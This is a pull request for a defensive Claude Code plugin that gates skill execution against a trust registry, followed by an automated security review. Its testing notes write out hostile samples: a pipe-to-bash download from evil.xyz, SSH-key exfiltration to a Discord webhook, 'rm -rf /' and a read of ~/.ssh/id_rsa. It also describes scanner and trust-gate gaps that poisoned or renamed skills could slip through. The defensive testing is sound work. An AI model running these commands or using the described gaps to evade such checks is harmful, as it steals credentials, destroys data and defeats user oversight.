feat(plugin): add agentguard-toolkit — MCP-driven Claude Code plugin

[theyavuzarslan]

Summary

Adds a second Claude Code plugin, agentguard-toolkit, at plugins/agentguard-toolkit/, plus its entry in .claude-plugin/marketplace.json.

It drives the AgentGuard MCP server (agentguard-mcp) directly, complementing the existing hook+CLI based agentguard plugin at the repo root. Where the root plugin guards tool calls with bundled node scripts, this one exposes the 7 MCP tools and adds skills over them — so it works for anyone with the MCP server configured, with no repo checkout.

What's included

Component	Detail
.mcp.json	Wires agentguard-mcp via npx -y --package @goplus/agentguard — no checkout, no global install required
Skills (4)	skill-audit, skill-trust, action-precheck, web3-precheck — all 7 MCP tools covered, none orphaned
Hooks (2)	PreToolUse:Skill trust gate + SessionStart context injector

No double-guarding

The root plugin hooks Bash, Write|Edit, WebFetch|WebSearch. This plugin deliberately claims zero overlapping matchers — it gates Skill invocation instead, reading the shared trust registry that registry_attest / registry_revoke write. Both plugins can be installed together.

Trust gate behaviour: revoked → deny, untrusted → ask, restricted → capability note, trusted/unknown → silent. It never emits allow, so it can only tighten permissions, never loosen them.

Upstream bugs this works around

Verified by driving the real MCP server over stdio (v1.1.28). The advertised JSON Schema disagrees with the runtime Zod validation in three places:

1. The skill object requires all four of id / source / version_ref / artifact_hash. Omitting a key is rejected; empty strings are accepted. Schema marks them optional.
2. action_scanner_decide additionally requires context.session_id and context.user_present. Schema marks only env required.
3. skill_scanner_scan requires path — omitting it throws Cannot read properties of undefined (reading 'replace'). Schema marks it optional.

The skills compensate for all three. Fixing these in the server would let the skills drop the workarounds — happy to file separately.

Also worth a look: skill_scanner_scan returned risk_level: low with no tags on a fixture SKILL.md containing curl https://evil.xyz/x.sh | bash plus an SSH-key exfil to a Discord webhook. action_scanner_decide correctly denied the identical command, so the static scanner may not inspect malicious instructions in markdown prose.

Testing

• claude plugin validate passes on both the plugin and the marketplace manifest
• End-to-end against the live MCP server: all 7 tools accepted with the payload shapes the skills prescribe; rm -rf / → deny/critical; ~/.ssh/id_rsa → deny
• Full chain verified: registry_attest (restricted) → real registry.json → hook emits capability note → registry_revoke → hook emits deny
• Trust gate exercised across 9 paths including expired records, plugin:skill namespacing, unknown skills, wrong tool, and malformed stdin
• Real install verified: claude plugin install agentguard-toolkit@goplus-agentguard → 4 skills, 2 hooks, 1 MCP server, ~618 always-on tokens
• Both hook scripts are dependency-free Node (node:fs/os/path) and always exit 0, so a missing or malformed registry can never block a session

Notes for reviewers

• Plugin version is 0.1.0 — say the word if you'd prefer 1.0.0 for the first public release
• The agentguard-toolkit name is an immutable slug once published; renaming later breaks existing installs
• Intended follow-up: submit to Anthropic's community marketplace, which pins to a commit SHA in this repo

🤖 Generated with Claude Code

[github-actions]

AgentGuard PR Review

1. severity: high — plugins/agentguard-toolkit/hooks/scripts/skill-trust-gate.js (new file, restricted-record branch)

   • What can go wrong: A malformed or unexpected record.capabilities shape can still be treated as valid because hasValidCapabilities returns true if any allowlist is merely an array, even when other required fields are missing or exec is invalid. This can produce misleading “RESTRICTED” guidance instead of clearly falling back to a safer state, weakening the trust gate for security-sensitive skill execution.
   • Fix: Validate the full capabilities object against the expected schema before using it; if any required field is missing or invalid, emit a denial/ask-style warning and do not present granted capabilities.

2. severity: medium — plugins/agentguard-toolkit/hooks/scripts/skill-trust-gate.js (same hunk, recordMatches)

   • What can go wrong: The hook matches only by skill.id or basename of skill.source. For renamed/repackaged skills, a revoked record will not match and the gate will stay silent, allowing execution of a previously revoked artifact under a different name.
   • Fix: Add stronger identity checks where possible, and for the hook at minimum surface an explicit warning that name-based matching is incomplete; enforce full source@version_ref#artifact_hash identity in the MCP/CLI path before installation or attestation.

3. severity: medium — plugins/agentguard-toolkit/.mcp.json

   • What can go wrong: The MCP server is launched via npx -y --package @goplus/agentguard agentguard-mcp with no pinning to a specific version or integrity check. A future upstream release or transient registry compromise could change the executable fetched at install/use time, which is risky for a security framework.
   • Fix: Pin to an exact package version and verify integrity/source, or vendor the server binary/package and avoid network fetches during plugin startup.